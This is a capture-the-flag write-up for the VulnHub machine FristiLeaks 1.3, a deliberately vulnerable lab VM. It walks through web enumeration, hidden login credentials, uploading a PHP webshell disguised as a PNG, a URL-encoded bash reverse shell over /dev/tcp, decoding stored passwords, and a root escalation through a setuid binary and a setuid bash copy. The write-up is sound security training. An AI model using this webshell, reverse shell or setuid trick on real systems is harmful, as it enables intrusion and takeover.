FristiLeaks1.3 - VulnHub Writeup

This machine can be easily downloaded from VulnHub: https://vulnhub.com/entry/fristileaks-13,133/.

To set up this machine inside Proxmox, I used the following resource as a reference: https://benheater.com/proxmox-lab-adding-vulnhub-vms/.

Additionally, I set up a simple DHCP server to assign an IP address from my Kali machine to the vulnerable VM. Here’s my own guide on how to configured it based on a previous writeup for the Kioptrix series: Kioptrix Level 2 (1.1) - VulnHub Writeup.

After everything has been set up, we can start our VM and escalate to root!

Enumeration

After setting everything up, we can confirm that our machine is located at the specified IP address with arp-scan.

└─$ sudo arp-scan --interface=eth2 -l
Interface: eth2, type: EN10MB, MAC: bc:24:11:b4:13:a7, IPv4: 10.0.1.5
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
10.0.1.108      08:00:27:a5:a6:76       PCS Systemtechnik GmbH

1 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.021 seconds (126.67 hosts/sec). 1 responded

Let's continue with our usual nmap enumeration.

Web Enumeration

It seems that there's only an open HTTP service, let's check it out.

The source code also doesn't reveal much information, just a reminder that this is indeed a vulnerable VM.

Going back to nmap, we can find some interesting information when enumerating the port 80 service aggressively, including some hidden directories in robots.txt and versions of services in the machine.

Going into any of these directories will reveal the same message: "This is not the URL you were looking for".

A gobuster scan reveals the same directories, including /images which stores the two images we have seen so far: the landing page image and the meme image shown above.

The contents of /images aren't too interesting...

Let's try using the name of the group itself as a directory name to see if we get any results (fristi, leaks, fristileaks, etc.).

/friski returns a login page!

Initial Access: PHP Webshell through LFI

At first, I tried using SQLi to bypass the login but I was unsuccessful. Let's look in the HTML source code for any credentials stored inside:

Here, we can see a potential username: eezeepz. Additionally, we are shown how images are encoded in the website through base64. Scrolling down below, we can see what seems to be another base64-encoded image inside an HTML ocmment.

Using CyberChef, we can conclude that there is indeed a PNG image stored within this base64 blob.

After downloading the extracted image, we can observe what could be a password for the previously mentioned user.

Using the keKkeKKeKKeKkEkkEk string as a password, we will be able to login to a file upload portal.

We could try creating a PHP webshell disguised as an image file here, seeing as the portal appears to only accept image files.

The only accepted files are .png, .jpg, and .gif.

After uploading a test file, we will be shown that the file was uploaded to /uploads:

Visiting <ip>/fristi/uploads/<filename> will return the picture we just uploaded.

Vulnerable File Upload Abuse

First, let's create a webshell that will pose as an image.

└─$ cat webshell.php.png
<?php echo shell_exec($_GET['cmd'].' 2>&1'); ?>

Using this, we can potentially get RCE by uploading the image and passing commands to the HTTP server. Can we upload this file?

Great! Let's prove that this webshell works by passing the id command to the cmd parameter:

└─$ curl http://10.0.1.108/fristi/uploads/webshell.php.png?cmd=id
uid=48(apache) gid=48(apache) groups=48(apache)

Now, we can easily get a reverse shell on the machine! Using the bash -i revshell from revshells.com with URL encoding should be enough to get a shell into the machine.

# terminal 1
└─$ curl http://10.0.1.108/fristi/uploads/webshell.php.png?cmd=%2Fbin%2Fbash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.0.1.5%2F7777%200%3E%261

# terminal 2
└─$ nc -lvnp 7777
listening on [any] 7777 ...
connect to [10.0.1.5] from (UNKNOWN) [10.0.1.108] 49029
bash: no job control in this shell
bash-4.1$ id
id
uid=48(apache) gid=48(apache) groups=48(apache)

Lateral Movement: apache -> admin -> friskigod

Let's look around for any other user credentials, since we are currently the apache user and we don't really have many permissions. When we spawn in our revshell, we are in the /var/www/html/fristi/uploads directory. Looking at the previous directory, we can find an interesting file: checklogin.php. Are there any user credentials here?

cat checklogin.php | grep "=\""
$host="localhost"; // Host name
$username="eezeepz"; // Mysql username
$password="4ll3maal12#"; // Mysql password
$db_name="hackmenow"; // Database name
$tbl_name="members"; // Table name
$sql="SELECT * FROM $tbl_name WHERE username='$myusername' and password='$mypassword'";

Looking inside the mysql database with the given credentials only reveals the same credentials used to login to the web portal:

bash-4.1$ mysql -u eezeepz -h localhost -p
mysql -u eezeepz -h localhost -p
Enter password: 4ll3maal12#

Trying to su to the eezeepz with either password was not possible. Looking deeper into this user, we can see that the /home/eezeepz contains many binaries that are readable and executable by all users:

Additionally, we can find the notes.txt file, which contains important information:

This could be our privesc vector! It seems that Jerry is the admin user. To verify this, let's create a simple script to try to change all permissions inside /home/admin.

bash-4.1$ echo "/home/admin/chmod 777 /home/admin/*" > /tmp/runthis
bash-4.1$ echo "/home/admin/chmod 777 /home/admin/" > /tmp/runthis

Now, we can do anything with the contents of /home/admin!

ls /home/admin
cat    cronjob.py cryptpass.py  echo   grep  whoisyourgodnow.txt
chmod  cryptedpass.txt  df       egrep  ps

Besides the binaries mentioned previously, there seems to be a password here encrypted with cryptpass.py:

bash-4.1$ cat cryptedpass.txt
mVGZ3O3omkJLmy2pcuTq

bash-4.1$ cat cryptpass.py
#Enhanced with thanks to Dinesh Singh Sikawar @LinkedIn
import base64,codecs,sys

def encodeString(str):
    base64string= base64.b64encode(str)
    return codecs.encode(base64string[::-1], 'rot13')

cryptoResult=encodeString(sys.argv[1])
print cryptoResult

Using CyberChef with the Reverse > ROT13 > From Base64 recipe, we can decrypt the password and login as admin.

Before attempting to use su, we should make sure that we are in a TTY shell with the python -c 'import pty; pty.spawn("/bin/bash")' command.

bash-4.1$ python -c 'import pty; pty.spawn("/bin/bash")'

bash-4.1$ tty
/dev/pts/2

bash-4.1$ su admin
Password: thisisalsopw123

[admin@localhost uploads]$

Great! However, there's also another password encrypted with the same algorithm: whoisyourgodnow.txt. This password must belong to the other user in /home: fristigod.

[admin@localhost ~]$ su fristigod
su fristigod
Password: LetThereBeFristi!

bash-4.1$ id
id
uid=502(fristigod) gid=502(fristigod) groups=502(fristigod)

Privilege Escalation: setuid abuse to root shell

To start looking for common privilege escalation vectors, we can use sudo -l to look for any interesting binaries.

Interesting, what is this doCom file? Has the user executed this file before?

bash-4.1$ cat .bash_history | grep doCom
cat .bash_history | grep doCom
./doCom
./doCom test
./doCom
sudo -u fristi ./doCom ls /
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom ls /
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom ls /
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
...

What type of file is this?

bash-4.1$ file doCom
file doCom
doCom: setuid setgid ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.18, not stripped

A setuid binary with sudo perms! Maybe, we could try running a few commands to set what uid can be impersonated with this binary.

bash-4.1$ sudo -u fristi ./doCom id
sudo -u fristi ./doCom id
uid=0(root) gid=100(users) groups=100(users),502(fristigod)

root! This binary can be easily abused to escalate to the root user. Let's create a copy of bash through root and run it to get root access!

bash-4.1$ sudo -u fristi ./doCom cp /bin/bash /tmp/rootbash

bash-4.1$ sudo -u fristi ./doCom chmod +s /tmp/rootbash

For the moment of truth...

bash-4.1$ /tmp/rootbash -p
rootbash-4.1# whoami
whoami
root

The flag is located inside /root.

rootbash-4.1# cat fristileaks_secrets.txt
Congratulations on beating FristiLeaks 1.0 by Ar0xA [https://tldr.nu]

I wonder if you beat it in the maximum 4 hours it's supposed to take!

Shoutout to people of #fristileaks (twitter) and #vulnhub (FreeNode)


Flag: Y0u_kn0w_y0u_l0ve_fr1st1

ROOT GET!

This machine took me around 3.5 hours over 2 days \o/